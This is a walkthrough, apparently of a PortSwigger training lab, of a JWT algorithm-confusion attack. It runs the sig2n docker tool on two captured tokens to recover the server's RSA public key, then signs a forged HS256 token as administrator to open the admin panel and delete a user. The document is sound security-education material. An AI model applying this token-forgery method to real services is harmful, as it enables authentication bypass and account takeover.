JWT authentication bypass via algorithm confusion with no exposed key
Description
This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.
Reproduction and proof of concept
Obtain two JWTs generated by the server
In Burp, load the JWT Editor extension from the BApp store.
In the lab, log in to your own account and send the post-login
GET /my-account
request to Burp Repeater.In Burp Repeater, change the path to
/admin
and send the request. Observe that the admin panel is only accessible when logged in as theadministrator
user.Copy your JWT session cookie and save it somewhere for later.
eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NzYwMzEwN30.AN4-QKoqSM6P4jwckXGoit_PuxtivWVEXHMwhno3Wxeccs7Exd9neNLIoiJc1ZEBZRBMqPtrDr9HH8Ci55KY7VScoi945grxYeSLXo1zTMAe1hhCgMeK_DFQh0eZZKlwQTrGtYPb_KbSajhUkzs9gQz68eve7n94gjgg0mdmFNT7_x0TYUw9HVl1yC2fwsAnacwfHsR-yvf5L6D2tXMAUwvSjtbbuP3uOB-DjXAd9-Elz-haYycDYBp9VpHwDht-Gvo7laL6iAH5XyGqzRpBmJYbrYcKKYrDUzFRSvQaS_DjRUiMumxWQs8peKrMYxn9Kqwb7EsdE5d0hw-KXCUYwQ
Log out and log in again.
Copy the new JWT session cookie and save this as well.
eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NzYwMzIxOX0.RacDd1lvCWXy36Ws4rp5_RlG5v06Zq6I0q39P0aS2quvLv48aDZGgQir7Aojb8D08w9j2qhBw0XEIYzKLaA3p-nru2fdxY-ucoGlDBXxqhHLFDkk5lgKumbf6DMz6kS24FKVJD7cshshJSx8_NU5tT2fvKxYY4uGeq1KEFg0o_blz5Zt8lLnAk_r-xfWgOf0i3SYXDTuJB6eHXQHO8dANSTpsu-YF-Z9J6K79-3UkGU76y3mSzoM_2w_PpfMADfZ112sHx9rz326PYmspCABwIA5ZMKgLm1-1e12waesXA7CAsocQ4rfgHTZdX3zoaYOZ44v_uxxZmWeIgHPL0xTSA
You now have two valid JWTs generated by the server.
Brute-force the server’s public key
In a terminal, run the following command, passing in the two JWTs as arguments.
$ docker run --rm -it portswigger/sig2n eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NzYwMzEwN30.AN4-QKoqSM6P4jwckXGoit_PuxtivWVEXHMwhno3Wxeccs7Exd9neNLIoiJc1ZEBZRBMqPtrDr9HH8Ci55KY7VScoi945grxYeSLXo1zTMAe1hhCgMeK_DFQh0eZZKlwQTrGtYPb_KbSajhUkzs9gQz68eve7n94gjgg0mdmFNT7_x0TYUw9HVl1yC2fwsAnacwfHsR-yvf5L6D2tXMAUwvSjtbbuP3uOB-DjXAd9-Elz-haYycDYBp9VpHwDht-Gvo7laL6iAH5XyGqzRpBmJYbrYcKKYrDUzFRSvQaS_DjRUiMumxWQs8peKrMYxn9Kqwb7EsdE5d0hw-KXCUYwQ eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3NzYwMzIxOX0.RacDd1lvCWXy36Ws4rp5_RlG5v06Zq6I0q39P0aS2quvLv48aDZGgQir7Aojb8D08w9j2qhBw0XEIYzKLaA3p-nru2fdxY-ucoGlDBXxqhHLFDkk5lgKumbf6DMz6kS24FKVJD7cshshJSx8_NU5tT2fvKxYY4uGeq1KEFg0o_blz5Zt8lLnAk_r-xfWgOf0i3SYXDTuJB6eHXQHO8dANSTpsu-YF-Z9J6K79-3UkGU76y3mSzoM_2w_PpfMADfZ112sHx9rz326PYmspCABwIA5ZMKgLm1-1e12waesXA7CAsocQ4rfgHTZdX3zoaYOZ44v_uxxZmWeIgHPL0xTSA
Unable to find image 'portswigger/sig2n:latest' locally
latest: Pulling from portswigger/sig2n
4d32b49e2995: Pull complete
fd4c1550e6ae: Pull complete
53fa7e173a75: Pull complete
cb9851eb83a1: Pull complete
a6e75cf35200: Pull complete
aaa5be4dc23b: Pull complete
912e8eb4e88a: Pull complete
Digest: sha256:0f1a6583c2578ffc42b7f3ee3a7f718c2979bc5b83ba7e125197b368f67b26d9
Status: Downloaded newer image for portswigger/sig2n:latest
Running command: python3 jwt_forgery.py <token1> <token2>
Found n with multiplier 1:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZm5KSW9pZGc5U1NTU1dnQUxXegpLQ25NZy90czFOZXQrTUhlNGpBeGM3REtMWUpkdlZFQXBOMktsQnl4eFNaYUF6ZDJhaHJ6d1BJVWdJQTVzdHI0ClR1V1BHNmxWZXMxZDByeUNjeS9OUlNjNm4vVk1zZ3JBYjVjWVUwZzRqNTN2VnliMVlqU1hjdkFXZUQ5bCtQQ3UKV0ZsUnF6M204d2dkT3dTUlQ2ck9BdEFwWHB6ekRva0JJS0Vrc1huTjYxeEF0Z0RBTnlGVUMyeGFvSXYrcS9IVQo0UHB3Y3ZpWUc2QzI3akd4S2VQUHFWVU41NFNKNjF0dXZoK2NLaHlrNkphdTQwUk5rZ1pHcFFsMTg2ODVuUWVNCmw3dmVPUDcrbUdtWEtQZVNGL2FFVlZNRXI1SjRWY3N2L3puYVdXWWt3Y1FoQVI0M0daZkZJRyswM1N6YWFBTGcKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjc3Njg2MzE0fQ.tcNeoW0x-wFx0F5o4UdOxyES-PorZjiDiDD6xziJYHs
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXFmbkpJb2lkZzlTU1NTV2dBTFd6S0NuTWcvdHMxTmV0K01IZTRqQXhjN0RLTFlKZHZWRUEKcE4yS2xCeXh4U1phQXpkMmFocnp3UElVZ0lBNXN0cjRUdVdQRzZsVmVzMWQwcnlDY3kvTlJTYzZuL1ZNc2dyQQpiNWNZVTBnNGo1M3ZWeWIxWWpTWGN2QVdlRDlsK1BDdVdGbFJxejNtOHdnZE93U1JUNnJPQXRBcFhwenpEb2tCCklLRWtzWG5ONjF4QXRnREFOeUZVQzJ4YW9JditxL0hVNFBwd2N2aVlHNkMyN2pHeEtlUFBxVlVONTRTSjYxdHUKdmgrY0toeWs2SmF1NDBSTmtnWkdwUWwxODY4NW5RZU1sN3ZlT1A3K21HbVhLUGVTRi9hRVZWTUVyNUo0VmNzdgovem5hV1dZa3djUWhBUjQzR1pmRklHKzAzU3phYUFMZ0pRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJraWQiOiI2ZDE3ZjljNS0xZTAxLTRiYmYtOGNmOS1iNDMyODc3NzBkNzYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjc3Njg2MzE0fQ.28rDcjIksdfV9zqNnBFOlQL0HCqR8alai2yCbbQT9SU
Note that the first time you run this, it may take several minutes while the image is pulled from Docker Hub.
Notice that the output contains one or more calculated values of
n
. Each of these is mathematically possible, but only one of them matches the value used by the server. In each case, the output also provides the following:
A Base64-encoded public key in both X.509 and PKCS1 format.
A tampered JWT signed with each of these keys.
Copy the tampered JWT from the first X.509 entry (you may only have one).
Go back to your request in Burp Repeater and change the path back to
/my-account
.Replace the session cookie with this new JWT and then send the request.
If you receive a 200 response and successfully access your account page, then this is the correct X.509 key.
If you receive a 302 response that redirects you to /login and strips your session cookie, then this was the wrong X.509 key. In this case, repeat this step using the tampered JWT for each X.509 key that was output by the script.
Generate a malicious signing key
From your terminal window, copy the Base64-encoded X.509 key that you identified as being correct in the previous section. Note that you need to select the key, not the tampered JWT that you used in the previous section.
In Burp, go to the JWT Editor Keys tab and click New Symmetric Key.
In the dialog, click Generate to generate a new key in JWK format.
Replace the generated value for the
k
property with a Base64-encoded key that you just copied. Note that this should be the actual key, not the tampered JWT that you used in the previous section.
{
"kty": "oct",
"kid": "cfa89837-da73-40ee-af74-8d68f37f1f2c",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZm5KSW9pZGc5U1NTU1dnQUxXegpLQ25NZy90czFOZXQrTUhlNGpBeGM3REtMWUpkdlZFQXBOMktsQnl4eFNaYUF6ZDJhaHJ6d1BJVWdJQTVzdHI0ClR1V1BHNmxWZXMxZDByeUNjeS9OUlNjNm4vVk1zZ3JBYjVjWVUwZzRqNTN2VnliMVlqU1hjdkFXZUQ5bCtQQ3UKV0ZsUnF6M204d2dkT3dTUlQ2ck9BdEFwWHB6ekRva0JJS0Vrc1huTjYxeEF0Z0RBTnlGVUMyeGFvSXYrcS9IVQo0UHB3Y3ZpWUc2QzI3akd4S2VQUHFWVU41NFNKNjF0dXZoK2NLaHlrNkphdTQwUk5rZ1pHcFFsMTg2ODVuUWVNCmw3dmVPUDcrbUdtWEtQZVNGL2FFVlZNRXI1SjRWY3N2L3puYVdXWWt3Y1FoQVI0M0daZkZJRyswM1N6YWFBTGcKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
Save the key.
Modify and sign the token
Go back to your request in Burp Repeater and change the path to
/admin
.Switch to the extension-generated JSON Web Token tab.
In the header of the JWT, make sure that the
alg
parameter is set toHS256
.In the JWT payload, change the value of the
sub
claim toadministrator
.At the bottom of the tab, click Sign, then select the symmetric key that you generated in the previous section.
Make sure that the
Don't modify header
option is selected, then click OK. The modified token is now signed using the server’s public key as the secret key.Send the request and observe that you have successfully accessed the admin panel.
In the response, find the URL for deleting Carlos (
/admin/delete?username=carlos
). Send the request to this endpoint to solve the lab.
Exploitability
An attacker will need to log in to wiener:peter
; obtain the server’s public key. Use this key to sign a modified session token that gives access to the admin panel at /admin
, then delete the user carlos
.